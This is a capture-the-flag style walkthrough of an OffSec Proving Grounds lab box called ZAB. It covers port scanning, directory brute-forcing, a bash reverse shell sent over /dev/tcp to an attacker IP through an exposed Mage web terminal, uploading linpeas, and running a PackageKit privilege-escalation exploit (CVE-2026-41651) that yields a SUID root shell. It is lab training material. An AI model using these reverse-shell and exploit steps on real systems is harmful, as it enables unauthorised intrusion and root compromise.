Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - ZAB

·1473 words·7 mins·
OFFSEC PG PRACTICE MAGE PACK2THEROOT CVE-2026-41651
Table of Contents

Summary
#

On port 80 we use Gobuster to look for directories / files and find local.txt. On port 6789 there is a web application called Mage. This provides a terminal in the browser that we use to get initial access on the server. Once on the box, we find the server is vulnerable for Pack2TheRoot (CVE-2026-41651). Using this we escalate our privileges to the root user.

Specifications
#

  • Name: ZAB
  • Platform: PG PRACTICE
  • Points: 15
  • Difficulty: Intermediate
  • System overview: Linux zab 5.15.0-122-generic #132-Ubuntu SMP Thu Aug 29 13:45:52 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
  • Compiler: YES
  • IP address: 192.168.160.210
  • OFFSEC provided credentials: None
  • HASH: local.txt:21545afa719c0d2900fceeb9359fd334
  • HASH: proof.txt:99980b865f23f1b4f51ed6e2f1b16c45

Preparation
#

First we’ll create a directory structure for our files and set the IP address to a bash variable and ping the target:

mkdir zab && cd zab && mkdir enum files exploits uploads tools

ls -la
total 28
drwxrwxr-x   7 kali kali 4096 Aug 30 18:23 .
drwxrwxr-x 112 kali kali 4096 Aug 30 18:23 ..
drwxrwxr-x   2 kali kali 4096 Aug 30 18:23 enum
drwxrwxr-x   2 kali kali 4096 Aug 30 18:23 exploits
drwxrwxr-x   2 kali kali 4096 Aug 30 18:23 files
drwxrwxr-x   2 kali kali 4096 Aug 30 18:23 tools
drwxrwxr-x   2 kali kali 4096 Aug 30 18:23 uploads

ip=192.168.160.210

ping $ip

PING 192.168.160.210 (192.168.160.210) 56(84) bytes of data.
64 bytes from 192.168.160.210: icmp_seq=1 ttl=61 time=20.6 ms
^C
--- 192.168.160.210 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 20.645/20.645/20.645/0.000 ms

Reconnaissance
#

Portscanning
#

Using the rustscan tool we can see what TCP ports are open.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Port scanning: Making networking exciting since... whenever.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.160.210:22
Open 192.168.160.210:80
Open 192.168.160.210:6789
[~] Starting Script(s)
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-30 18:25 +0200
Initiating Ping Scan at 18:25
Scanning 192.168.160.210 [4 ports]
Completed Ping Scan at 18:25, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:25
Completed Parallel DNS resolution of 1 host. at 18:25, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 18:25
Scanning 192.168.160.210 [3 ports]
Discovered open port 80/tcp on 192.168.160.210
Discovered open port 22/tcp on 192.168.160.210
Discovered open port 6789/tcp on 192.168.160.210
Completed SYN Stealth Scan at 18:25, 0.04s elapsed (3 total ports)
Nmap scan report for 192.168.160.210
Host is up, received reset ttl 61 (0.020s latency).
Scanned at 2026-08-30 18:25:04 CEST for 0s

PORT     STATE SERVICE       REASON
22/tcp   open  ssh           syn-ack ttl 61
80/tcp   open  http          syn-ack ttl 61
6789/tcp open  ibm-db2-admin syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.67 seconds
           Raw packets sent: 7 (284B) | Rcvd: 4 (172B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
22/tcp   open  ssh           syn-ack ttl 61
80/tcp   open  http          syn-ack ttl 61
6789/tcp open  ibm-db2-admin syn-ack ttl 61

Run the following command to get a string of all open ports and add in with a NMAP command to portscan found open ports:

sudo nmap -T3 -p $(awk -F'/' '{print $1}' files/ports | paste -sd, -) -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 2e:5b:cb:6b:21:8c:fc:df:7b:c7:f7:f0:46:2e:6d:55 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNzhDduFenGCFk6W1KB4vhdfu/aU9Gi4N3BTeQK5tNhkQLpvNphjS83lUqinZ/RR81LsqbxbhGKvMEycOTMkTSo=
|   256 ab:1a:ce:a7:f0:b6:0f:79:0b:54:b8:00:26:3d:69:58 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIONcJk3p4sOSZw8zygtz1n5h9SfHtt+1kOc/UUQEA0CB
80/tcp   open  http    syn-ack ttl 61 Apache httpd 2.4.52 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.52 (Ubuntu)
6789/tcp open  http    syn-ack ttl 61 Tornado httpd 6.3.3
| http-methods: 
|_  Supported Methods: GET
|_http-server-header: TornadoServer/6.3.3
|_http-title: Mage
|_http-favicon: Unknown favicon MD5: 14B7DB3EB16DEF7F593F14D8621E9BBB
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access
#

On port 80 there is a default Apache2 page.

So, let’s run a gobuster scan to see if there is anything interesting.

gobuster dir -t 100 -u http://$ip:80/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x pdf,html,php,txt,zip | tee enum/gobuster-dir2.3medium-raw-80

===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.160.210:80/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              pdf,html,php,txt,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.html           (Status: 200) [Size: 10671]
local.txt            (Status: 200) [Size: 33]
javascript           (Status: 301) [Size: 323] [--> http://192.168.160.210/javascript/]
zabbix               (Status: 301) [Size: 319] [--> http://192.168.160.210/zabbix/]
pipelines            (Status: 301) [Size: 322] [--> http://192.168.160.210/pipelines/]
server-status        (Status: 403) [Size: 280]
===============================================================
Finished
===============================================================

We see local.txt which gives use indeed the local.txt, URL: http://192.168.160.210/local.txt. The value is: 21545afa719c0d2900fceeb9359fd334. There is also a javascript and pipelines directory, however, the first is forbidden to access. The pipelines directory is an empty directory listing. There also appears to be a Zabbix instance running, but is currently in maintenance.

So let’s continue on port 6789 a Mage instance. Mage is a solution to orchestrate and scale data pipelines. This application also provides a terminal. Click on the terminal icon to get a shell on the server.


Now, let’s get a reverse shell. First, setup a listener, then type in: /usr/bin/bash -c 'bash -i >& /dev/tcp/192.168.49.198/9001 0>&1' and catch the reverse shell.

## setup a listener
nc -lvnp 9001
Listening on 0.0.0.0 9001


## catch reverse shell
Listening on 0.0.0.0 9001
Connection received on 192.168.160.210 55414
www-data@zab:~/html$ 

To get a proper TTY we upgrade our shell using the script binary.

## determine location script binary
which script
/usr/bin/script

## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null

## after this command press the `enter` key twice
stty raw -echo ; fg ; reset

## run the following to be able to clear the screen and set the terrminal correct
export TERM=xterm && stty columns 200 rows 200

Privilege Escalation
#

Now, upload linpeas.sh to the target and run it.

## change directory locally
cd uploads

## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.189

## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

## on target
## change directory
www-data@zab:~/html$ cd /var/tmp

## download `linpeas.sh` using the open port 80
www-data@zab:/var/tmp$ wget http://192.168.45.198/linpeas.sh
--2026-08-30 17:20:18--  http://192.168.45.198/linpeas.sh
Connecting to 192.168.45.198:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1144032 (1.1M) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh                                          0%[                                                                                                    linpeas.sh                                        100%[=============================================================================================================>]   1.09M  --.-KB/s    in 0.1s    

2026-08-30 17:20:19 (7.38 MB/s) - ‘linpeas.sh’ saved [1144032/1144032]


## set the execution bit
www-data@zab:/var/tmp$ chmod +x linpeas.sh 

## run `linpeas.sh`
www-data@zab:/var/tmp$ ./linpeas.sh 

The linpeas.sh output shows the target is vulnerable for Pack2TheRoot (CVE-2026-41651) . Now, let’s download the exploit, upload to the target and run it to escalate our privileges to root.

## locally, clone the repo and run a webserver
cd uploads
git clone https://github.com/0xBlackash/CVE-2026-41651.git
cd CVE-2026-41651
python3 -m http.server 80 

## remote, download exploit
www-data@zab:/var/tmp$ wget http://192.168.45.198/CVE-2026-41651.py
--2026-08-30 17:32:58--  http://192.168.45.198/CVE-2026-41651.py
Connecting to 192.168.45.198:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 12647 (12K) [text/x-python]
Saving to: ‘CVE-2026-41651.py’

CVE-2026-41651.py                                   0%[                                                                                                    CVE-2026-41651.py                                 100%[=============================================================================================================>]  12.35K  --.-KB/s    in 0.02s   

2026-08-30 17:32:58 (668 KB/s) - ‘CVE-2026-41651.py’ saved [12647/12647]

## change permissions and run the exploit
www-data@zab:/var/tmp$ chmod +x CVE-2026-41651.py

## run exploit Pack2TheRoot
www-data@zab:/var/tmp$ ./CVE-2026-41651.py
============================================================
  CVE-2026-41651 — Pack2TheRoot => PackageKit TOCTOU Privilege Escalation
  github : https://github.com/0xBlackash/CVE-2026-41651/
  Author : Ashraf Zaryouh / @0xBlackash
============================================================

[+] SUID drop directory: /var/tmp  (no nosuid/noexec)
[+] Package format: DEB
[*] Building test packages...
[+] Dummy pkg:   /tmp/pk-dummy-68336.deb
[+] Payload pkg: /tmp/pk-payload-68336.deb
[+] Payload installs SUID bash to: /var/tmp/.suid_bash

[*] Connecting to system D-Bus...
[*] Creating PackageKit transaction...
[+] Transaction ID: /2_ceedaeab

[*] Firing TOCTOU race (SIMULATE → REAL on same transaction)...
[*] Polling for SUID at /var/tmp/.suid_bash (90s max)...
..
[+] Confirmed: /var/tmp/.suid_bash is SUID root (mode=0o104755)

[+] Dropping to root shell via SUID bash (-p preserves effective UID=0)
[+] --- ROOT SHELL FOLLOWS ---

.suid_bash-5.1# 

## print proof.txt
.suid_bash-5.1# cat /root/proof.txt
99980b865f23f1b4f51ed6e2f1b16c45

References
#

[+]

Related

OFFSEC - Proving Grounds - BACKUPBUDDY
·1608 words·8 mins
OFFSEC PG PRACTICE PATH TRAVERSAL SSH2JOHN JOHN PACK2THEROOT CVE-2026-41651
PHP File Manager on port 80 allows default login and path traversal to Brian’s SSH key. SSH access is gained, then CVE-2026-41651 is exploited to become root.
OFFSEC - Proving Grounds - MEDITRACK
·2059 words·10 mins
OFFSEC PG PRACTICE SQLITE GITEA FLASK PICKLE PACK2THEROOT CVE-2026-41651
SQLi on port 9000 dumps creds. Crack meditrackDev for Gitea access. Find Flask secret to forge admin cookie, then import snapshot for Pickle RCE. Escalate to root via CVE-2026-41651.
OFFSEC - Proving Grounds - CARRYOVER
·3043 words·15 mins
OFFSEC PG PRACTICE SQLMAP LD_PRELOAD
Carvilla on port 80 is vulnerable to SQL injection, providing initial access via SQLmap. An exposed LD_PRELOAD variable enables a custom shared object to be executed with sudo, escalating privileges to root.
OFFSEC - Proving Grounds - GLIDER
·1919 words·10 mins
OFFSEC PG PRACTICE XXE PHP FILTER PSPY MQTT
XXE on port 80 enables PHP file reads and RCE. After gaining access, pspy64 reveals Mosquitto credentials; subscribing to the MQTT topic exposes root credentials.
OFFSEC - Proving Grounds - PATHWAY
·1653 words·8 mins
OFFSEC PG PRACTICE LD_PRELOAD
Port 4566 exposes credentials, enabling SSH access. Sudo permits passwordless /usr/bin/ping, and the set LD_PRELOAD variable can be abused to compile a C payload and escalate privileges to root.
OFFSEC - Proving Grounds - CASSIOS
·2757 words·13 mins
OFFSEC PG PRACTICE SMB SMBCLIENT NXC YSOSERIAL PWNKIT
SMB share exposes recycler.ser; app source reveals credentials. Login enables ysoserial RCE, then PwnKit (CVE-2021-4034) escalates to root.